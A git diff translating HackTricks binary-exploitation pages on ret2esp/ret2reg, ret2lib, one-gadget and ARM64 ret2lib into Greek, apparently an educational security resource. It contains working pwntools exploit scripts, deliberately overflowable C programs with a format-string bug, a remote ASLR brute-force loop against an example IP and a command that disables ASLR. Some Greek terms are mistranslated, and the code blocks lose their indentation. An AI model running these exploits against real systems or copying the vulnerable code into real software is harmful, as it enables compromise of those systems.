like: +### Έλλειψη χώρου +Αν σας λείπει χώρος για να γράψετε μετά την αντικατάσταση του RIP (ίσως μόνο μερικά bytes), γράψτε έναν αρχικό κώδικα shell **`jmp`** όπως: ```armasm sub rsp, 0x30 jmp rsp ``` +Και γράψτε το shellcode νωρίς στη στοίβα. -And write the shellcode early in the stack. - -### Example - -You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like: +### Παράδειγμα +Μπορείτε να βρείτε ένα παράδειγμα αυτής της τεχνικής στο [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) με μια τελική εκμετάλλευση όπως: ```python from pwn import * @@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp'))) payload = b'A' * 120 payload += p64(jmp_rsp) payload += asm(''' - sub rsp, 10; - jmp rsp; +sub rsp, 10; +jmp rsp; ''') pause() p.sendlineafter('RSP!\n', payload) p.interactive() ``` - -You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode: - +Μπορείτε να δείτε ένα άλλο παράδειγμα αυτής της τεχνικής στο [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Υπάρχει μια υπερχείλιση buffer χωρίς ενεργοποιημένο το NX, χρησιμοποιείται ένα gadget για να **μειώσει τη διεύθυνση του `$esp`** και στη συνέχεια ένα `jmp esp;` για να μεταπηδήσει στον shellcode: ```python # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html from pwn import * @@ -81,47 +76,41 @@ target.sendline(payload) # Drop to an interactive shell target.interactive() ``` - ## Ret2reg -Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). +Ομοίως, αν γνωρίζουμε ότι μια συνάρτηση επιστρέφει τη διεύθυνση όπου είναι αποθηκευμένο το shellcode, μπορούμε να εκμεταλλευτούμε τις εντολές **`call eax`** ή **`jmp eax`** (γνωστές ως τεχνική **ret2eax**), προσφέροντας μια άλλη μέθοδο για να εκτελέσουμε το shellcode μας. Ακριβώς όπως το eax, **οποιοδήποτε άλλο καταχωρητή** που περιέχει μια ενδιαφέρουσα διεύθυνση θα μπορούσε να χρησιμοποιηθεί (**ret2reg**). -### Example +### Παράδειγμα -You can find some examples here: +Μπορείτε να βρείτε μερικά παραδείγματα εδώ: - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. +- **`strcpy`** θα αποθηκεύσει στο **`eax`** τη διεύθυνση του buffer όπου ήταν αποθηκευμένο το shellcode και **`eax`** δεν επαναγράφεται, οπότε είναι δυνατό να χρησιμοποιηθεί ένα `ret2eax`. ## ARM64 ### Ret2sp -In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: - +Στο ARM64 δεν **υπάρχουν** εντολές που να επιτρέπουν να **πηδήξουμε στο καταχωρητή SP**. Είναι πιθανό να βρούμε ένα gadget που **μεταφέρει το sp σε έναν καταχωρητή και στη συνέχεια πηδά σε αυτόν τον καταχωρητή**, αλλά στη libc της kali μου δεν μπόρεσα να βρω κανένα gadget όπως αυτό: ```bash for i in `seq 1 30`; do - ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; +ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; done ``` - -The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless): +Οι μόνοι που ανακάλυψα θα άλλαζαν την τιμή του μητρώου όπου το sp αντιγράφηκε πριν πηδήξει σε αυτό (έτσι θα γινόταν άχρηστο):
### Ret2reg -If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: - +Αν ένα μητρώο έχει μια ενδιαφέρουσα διεύθυνση, είναι δυνατόν να πηδήξεις σε αυτό απλά βρίσκοντας την κατάλληλη εντολή. Θα μπορούσες να χρησιμοποιήσεις κάτι σαν: ```bash ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ``` - -In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. +Στην ARM64, είναι **`x0`** που αποθηκεύει την τιμή επιστροφής μιας συνάρτησης, οπότε θα μπορούσε να είναι ότι το x0 αποθηκεύει τη διεύθυνση ενός buffer που ελέγχεται από τον χρήστη με ένα shellcode για εκτέλεση. Example code: - ```c // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack @@ -129,34 +118,32 @@ Example code: #include void do_stuff(int do_arg){ - if (do_arg == 1) - __asm__("br x0"); - return; +if (do_arg == 1) +__asm__("br x0"); +return; } char* vulnerable_function() { - char buffer[64]; - fgets(buffer, sizeof(buffer)*3, stdin); - return buffer; +char buffer[64]; +fgets(buffer, sizeof(buffer)*3, stdin); +return buffer; } int main(int argc, char **argv) { - char* b = vulnerable_function(); - do_stuff(2) - return 0; +char* b = vulnerable_function(); +do_stuff(2) +return 0; } ``` - -Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow: +Ελέγχοντας την αποσυναρμολόγηση της συνάρτησης, είναι δυνατόν να δούμε ότι η **διεύθυνση του buffer** (ευάλωτη σε bof και **ελεγχόμενη από τον χρήστη**) είναι **αποθηκευμένη στο `x0`** πριν επιστρέψει από την υπερχείλιση buffer:
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: +Είναι επίσης δυνατόν να βρούμε το gadget **`br x0`** στη συνάρτηση **`do_stuff`**:
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: - +Θα χρησιμοποιήσουμε αυτό το gadget για να κάνουμε άλμα σε αυτό, επειδή το δυαδικό είναι μεταγλωττισμένο **ΧΩΡΙΣ PIE.** Χρησιμοποιώντας ένα μοτίβο, είναι δυνατόν να δούμε ότι η **απόσταση της υπερχείλισης buffer είναι 80**, οπότε η εκμετάλλευση θα είναι: ```python from pwn import * @@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0 p.sendline(payload) p.interactive() ``` - > [!WARNING] -> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ -> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. +> Αντί για `fgets` χρησιμοποιήθηκε κάτι όπως **`read`**, θα ήταν δυνατό να παρακαμφθεί το PIE απλά **υπεργράφοντας τα τελευταία 2 bytes της διεύθυνσης επιστροφής** για να επιστρέψει στην εντολή `br x0;` χωρίς να χρειάζεται να γνωρίζουμε τη συνολική διεύθυνση.\ +> Με το `fgets` δεν λειτουργεί γιατί **προσθέτει ένα null (0x00) byte στο τέλος**. ## Protections -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. +- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Αν η στοίβα δεν είναι εκτελέσιμη, αυτό δεν θα βοηθήσει καθώς πρέπει να τοποθετήσουμε το shellcode στη στοίβα και να κάνουμε jump για να το εκτελέσουμε. +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Αυτά μπορούν να κάνουν πιο δύσκολη την εύρεση μιας εντολής για να κάνουμε jump σε esp ή οποιοδήποτε άλλο register. ## References diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md index c213407d3..6d3d305aa 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md @@ -2,94 +2,82 @@ {{#include ../../../banners/hacktricks-training.md}} -## **Basic Information** +## **Βασικές Πληροφορίες** -The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. +Η ουσία του **Ret2Libc** είναι να ανακατευθύνει τη ροή εκτέλεσης ενός ευάλωτου προγράμματος σε μια συνάρτηση μέσα σε μια κοινή βιβλιοθήκη (π.χ., **system**, **execve**, **strcpy**) αντί να εκτελεί τον κώδικα που παρέχεται από τον επιτιθέμενο στο στοίβα. Ο επιτιθέμενος δημιουργεί ένα payload που τροποποιεί τη διεύθυνση επιστροφής στη στοίβα ώστε να δείχνει στη συνάρτηση της βιβλιοθήκης που επιθυμεί, ενώ ταυτόχρονα φροντίζει ώστε οποιαδήποτε απαραίτητα επιχειρήματα να είναι σωστά ρυθμισμένα σύμφωνα με τη σύμβαση κλήσης. -### **Example Steps (simplified)** +### **Παράδειγμα Βημάτων (απλοποιημένο)** -- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) -- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function +- Πάρτε τη διεύθυνση της συνάρτησης που θα καλέσετε (π.χ. system) και την εντολή που θα καλέσετε (π.χ. /bin/sh) +- Δημιουργήστε μια αλυσίδα ROP για να περάσετε το πρώτο επιχείρημα που δείχνει στη συμβολοσειρά εντολής και τη ροή εκτέλεσης στη συνάρτηση -## Finding the addresses - -- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with: +## Εύρεση των διευθύνσεων +- Υποθέτοντας ότι η `libc` που χρησιμοποιείται είναι αυτή της τρέχουσας μηχανής, μπορείτε να βρείτε πού θα φορτωθεί στη μνήμη με: ```bash ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ``` - -If you want to check if the ASLR is changing the address of libc you can do: - +Αν θέλετε να ελέγξετε αν το ASLR αλλάζει τη διεύθυνση της libc μπορείτε να κάνετε: ```bash for i in `seq 0 20`; do ldd ./ | grep libc; done ``` - -- Knowing the libc used it's also possible to find the offset to the `system` function with: - +- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση στη συνάρτηση `system` με: ```bash readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system ``` - -- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with: - +- Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να βρείτε την απόσταση προς τη συνάρτηση της συμβολοσειράς `/bin/sh` με: ```bash strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh ``` +### Χρησιμοποιώντας gdb-peda / GEF -### Using gdb-peda / GEF - -Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** : - +Γνωρίζοντας τη libc που χρησιμοποιείται, είναι επίσης δυνατό να χρησιμοποιήσετε το Peda ή το GEF για να αποκτήσετε τη διεύθυνση της συνάρτησης **system**, της συνάρτησης **exit** και της συμβολοσειράς **`/bin/sh`** : ```bash p system p exit find "/bin/sh" ``` +### Χρησιμοποιώντας /proc/\/maps -### Using /proc/\/maps +Αν η διαδικασία δημιουργεί **παιδιά** κάθε φορά που μιλάτε μαζί της (διακομιστής δικτύου) προσπαθήστε να **διαβάσετε** αυτό το αρχείο (πιθανώς θα χρειαστεί να είστε root). -If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). - -Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process. +Εδώ μπορείτε να βρείτε **ακριβώς πού είναι φορτωμένο το libc** μέσα στη διαδικασία και **πού θα φορτωθεί** για κάθε παιδί της διαδικασίας. ![](<../../../images/image (853).png>) -In this case it is loaded in **0xb75dc000** (This will be the base address of libc) +Σε αυτή την περίπτωση είναι φορτωμένο στο **0xb75dc000** (Αυτή θα είναι η βασική διεύθυνση του libc) -## Unknown libc +## Άγνωστο libc -It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: +Είναι πιθανό να **δεν γνωρίζετε το libc που φορτώνει το δυαδικό αρχείο** (γιατί μπορεί να βρίσκεται σε έναν διακομιστή όπου δεν έχετε πρόσβαση). Σε αυτή την περίπτωση μπορείτε να εκμεταλλευτείτε την ευπάθεια για να **διαρρεύσετε κάποιες διευθύνσεις και να βρείτε ποια βιβλιοθήκη libc** χρησιμοποιείται: {{#ref}} rop-leaking-libc-address/ {{#endref}} -And you can find a pwntools template for this in: +Και μπορείτε να βρείτε ένα πρότυπο pwntools γι' αυτό στο: {{#ref}} rop-leaking-libc-address/rop-leaking-libc-template.md {{#endref}} -### Know libc with 2 offsets +### Γνωρίζοντας το libc με 2 offsets -Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. +Ελέγξτε τη σελίδα [https://libc.blukat.me/](https://libc.blukat.me/) και χρησιμοποιήστε **μερικές διευθύνσεις** συναρτήσεων μέσα στο libc για να ανακαλύψετε την **έκδοση που χρησιμοποιείται**. -## Bypassing ASLR in 32 bits +## Παράκαμψη ASLR σε 32 bit -These brute-forcing attacks are **only useful for 32bit systems**. - -- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems): +Αυτές οι επιθέσεις brute-force είναι **μόνο χρήσιμες για συστήματα 32bit**. +- Αν η εκμετάλλευση είναι τοπική, μπορείτε να προσπαθήσετε να κάνετε brute-force τη βασική διεύθυνση του libc (χρήσιμο για συστήματα 32bit): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - -- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function. +- Αν επιτίθεστε σε έναν απομακρυσμένο διακομιστή, μπορείτε να προσπαθήσετε να **σπάσετε τη διεύθυνση της συνάρτησης `libc` `usleep`**, περνώντας ως επιχείρημα 10 (για παράδειγμα). Αν σε κάποιο σημείο ο **διακομιστής χρειαστεί 10 δευτερόλεπτα επιπλέον για να απαντήσει**, βρήκατε τη διεύθυνση αυτής της συνάρτησης. ## One Gadget -Execute a shell just jumping to **one** specific **address** in libc: +Εκτελέστε ένα shell απλά πηδώντας σε **μία** συγκεκριμένη **διεύθυνση** στη libc: {{#ref}} one-gadget.md @@ -97,8 +85,7 @@ one-gadget.md ## x86 Ret2lib Code Example -In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server: - +Σε αυτό το παράδειγμα, η brute-force ASLR είναι ενσωματωμένη στον κώδικα και το ευάλωτο δυαδικό αρχείο βρίσκεται σε έναν απομακρυσμένο διακομιστή: ```python from pwn import * @@ -106,18 +93,17 @@ c = remote('192.168.85.181',20002) c.recvline() for off in range(0xb7000000, 0xb8000000, 0x1000): - p = "" - p += p32(off + 0x0003cb20) #system - p += "CCCC" #GARBAGE, could be address of exit() - p += p32(off + 0x001388da) #/bin/sh - payload = 'A'*0x20010 + p - c.send(payload) - c.interactive() +p = "" +p += p32(off + 0x0003cb20) #system +p += "CCCC" #GARBAGE, could be address of exit() +p += p32(off + 0x001388da) #/bin/sh +payload = 'A'*0x20010 + p +c.send(payload) +c.interactive() ``` - ## x64 Ret2lib Code Example -Check the example from: +Δείτε το παράδειγμα από: {{#ref}} ../ @@ -125,11 +111,11 @@ Check the example from: ## ARM64 Ret2lib Example -In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. +Στην περίπτωση του ARM64, η εντολή ret πηγαίνει εκεί που δείχνει το x30 registry και όχι εκεί που δείχνει το stack registry. Έτσι είναι λίγο πιο περίπλοκο. -Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). +Επίσης στο ARM64, μια εντολή κάνει αυτό που κάνει η εντολή (δεν είναι δυνατόν να πηδήξεις στη μέση των εντολών και να τις μετατρέψεις σε νέες). -Check the example from: +Δείτε το παράδειγμα από: {{#ref}} ret2lib-+-printf-leak-arm64.md @@ -137,11 +123,11 @@ ret2lib-+-printf-leak-arm64.md ## Ret-into-printf (or puts) -This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. +Αυτό επιτρέπει να **διαρρεύσει πληροφορίες από τη διαδικασία** καλώντας `printf`/`puts` με κάποια συγκεκριμένα δεδομένα τοποθετημένα ως επιχείρημα. Για παράδειγμα, τοποθετώντας τη διεύθυνση του `puts` στο GOT σε μια εκτέλεση του `puts` θα **διαρρεύσει τη διεύθυνση του `puts` στη μνήμη**. ## Ret2printf -This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): +Αυτό σημαίνει βασικά την κακή χρήση ενός **Ret2lib για να το μετατρέψει σε μια ευπάθεια μορφοποίησης συμβολοσειρών `printf`** χρησιμοποιώντας το `ret2lib` για να καλέσει το printf με τις τιμές για να το εκμεταλλευτεί (ακούγεται άχρηστο αλλά είναι δυνατό): {{#ref}} ../../format-strings/ @@ -150,16 +136,16 @@ This basically means abusing a **Ret2lib to transform it into a `printf` format ## Other Examples & references - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - - Ret2lib, given a leak to the address of a function in libc, using one gadget +- Ret2lib, δεδομένης μιας διαρροής στη διεύθυνση μιας συνάρτησης στη libc, χρησιμοποιώντας ένα gadget - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - - 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` +- 64 bit, ASLR ενεργοποιημένο αλλά χωρίς PIE, το πρώτο βήμα είναι να γεμίσει μια υπερχείλιση μέχρι το byte 0x00 του canary για να καλέσει στη συνέχεια το puts και να το διαρρεύσει. Με το canary δημιουργείται ένα ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και ένα ROP gadget για να καλέσει `system('/bin/sh')` - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - - 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. +- 64 bits, ASLR ενεργοποιημένο, χωρίς canary, stack overflow στο main από μια παιδική συνάρτηση. ROP gadget για να καλέσει το puts για να διαρρεύσει τη διεύθυνση του puts από το GOT και στη συνέχεια να καλέσει ένα gadget. - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - - 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. +- 64 bits, χωρίς pie, χωρίς canary, χωρίς relro, nx. Χρησιμοποιεί τη συνάρτηση write για να διαρρεύσει τη διεύθυνση του write (libc) και καλεί ένα gadget. - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - - Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. +- Χρησιμοποιεί μια μορφή συμβολοσειράς για να διαρρεύσει το canary από το stack και μια υπερχείλιση buffer για να καλέσει το system (είναι στο GOT) με τη διεύθυνση του `/bin/sh`. - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 bit, χωρίς relro, χωρίς canary, nx, pie. Κακή ευρετηρίαση για να διαρρεύσει διευθύνσεις της libc και του heap από το stack. Κακή χρήση της υπερχείλισης buffer για να κάνει ένα ret2lib καλώντας `system('/bin/sh')` (η διεύθυνση του heap είναι απαραίτητη για να παρακαμφθεί μια έλεγχο). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md index 5b24ece5f..e4a075e52 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/one-gadget.md @@ -4,34 +4,30 @@ ## Basic Information -[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +[**One Gadget**](https://github.com/david942j/one_gadget) επιτρέπει την απόκτηση ενός shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell (`execve("/bin/sh")`) χρησιμοποιώντας μόνο μία **διεύθυνση**.\ +Ωστόσο, κανονικά υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός. ![](<../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - -To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded. +Για τη διεύθυνση που υποδεικνύεται από το One Gadget πρέπει να **προσθέσετε τη βασική διεύθυνση όπου φορτώνεται το `libc`**. > [!TIP] -> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). +> Το One Gadget είναι μια **μεγάλη βοήθεια για τις τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις αλυσίδες ROP** καθώς χρειάζεται μόνο να καλέσετε μία διεύθυνση (και να πληροίτε τις απαιτήσεις). ### ARM64 -The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. +Το github repo αναφέρει ότι **υποστηρίζεται το ARM64** από το εργαλείο, αλλά όταν το εκτελείτε στο libc ενός Kali 2023.3 **δεν βρίσκει κανένα gadget**. ## Angry Gadget -From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ -If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! - +Από το [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Εμπνευσμένο από το [OneGadget](https://github.com/david942j/one_gadget) αυτό το εργαλείο είναι γραμμένο σε python και χρησιμοποιεί [angr](https://github.com/angr/angr) για να δοκιμάσει περιορισμούς για gadgets που εκτελούν `execve('/bin/sh', NULL, NULL)`\ +Αν έχετε εξαντλήσει τα gadgets για να δοκιμάσετε από το OneGadget, το Angry Gadget προσφέρει πολύ περισσότερα με περίπλοκους περιορισμούς για να δοκιμάσετε! ```bash pip install angry_gadget angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md index a9cfca917..4e81160e9 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md @@ -2,65 +2,58 @@ {{#include ../../../banners/hacktricks-training.md}} -## Ret2lib - NX bypass with ROP (no ASLR) - +## Ret2lib - Bypass NX με ROP (χωρίς ASLR) ```c #include void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile without canary: - +Συγκέντρωση χωρίς canary: ```bash clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector # Disable aslr echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` +### Βρείτε την απόσταση -### Find offset +### x30 απόσταση -### x30 offset - -Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c). +Δημιουργώντας ένα μοτίβο με **`pattern create 200`**, χρησιμοποιώντας το και ελέγχοντας για την απόσταση με **`pattern search $x30`** μπορούμε να δούμε ότι η απόσταση είναι **`108`** (0x6c).
-Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: +Ρίχνοντας μια ματιά στη διασπασμένη κύρια συνάρτηση μπορούμε να δούμε ότι θα θέλαμε να **πηδήξουμε** στην εντολή για να πηδήξουμε απευθείας στο **`printf`**, της οποίας η απόσταση από το σημείο που φορτώνεται το δυαδικό είναι **`0x860`**:
-### Find system and `/bin/sh` string +### Βρείτε τη συνάρτηση system και τη συμβολοσειρά `/bin/sh` -As the ASLR is disabled, the addresses are going to be always the same: +Καθώς το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:
-### Find Gadgets +### Βρείτε Gadgets -We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. - -Using rooper an interesting gadget was found: +Πρέπει να έχουμε στη **`x0`** τη διεύθυνση της συμβολοσειράς **`/bin/sh`** και να καλέσουμε τη **`system`**. +Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget: ``` 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; ``` - -This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**. +Αυτή η συσκευή θα φορτώσει το `x0` από **`$sp + 0x18`** και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα πηδήξει στο x30. Έτσι, με αυτή τη συσκευή μπορούμε **να ελέγξουμε το πρώτο επιχείρημα και στη συνέχεια να πηδήξουμε στο system**. ### Exploit - ```python from pwn import * from time import sleep @@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh system = libc.sym["system"] def expl_bof(payload): - p.recv() - p.sendline(payload) +p.recv() +p.sendline(payload) # Ret2main stack_offset = 108 @@ -90,80 +83,72 @@ p.sendline(payload) p.interactive() p.close() ``` - -## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack - +## Ret2lib - Παράκαμψη NX, ASL & PIE με διαρροές printf από τη στοίβα ```c #include void printfleak() { - char buf[100]; - printf("\nPrintf>\n"); - fgets(buf, sizeof(buf), stdin); - printf(buf); +char buf[100]; +printf("\nPrintf>\n"); +fgets(buf, sizeof(buf), stdin); +printf(buf); } void bof() { - char buf[100]; - printf("\nbof>\n"); - fgets(buf, sizeof(buf)*3, stdin); +char buf[100]; +printf("\nbof>\n"); +fgets(buf, sizeof(buf)*3, stdin); } void main() { - printfleak(); - bof(); +printfleak(); +bof(); } ``` - -Compile **without canary**: - +Συγκέντρωση **χωρίς καναρίνι**: ```bash clang -o rop rop.c -fno-stack-protector 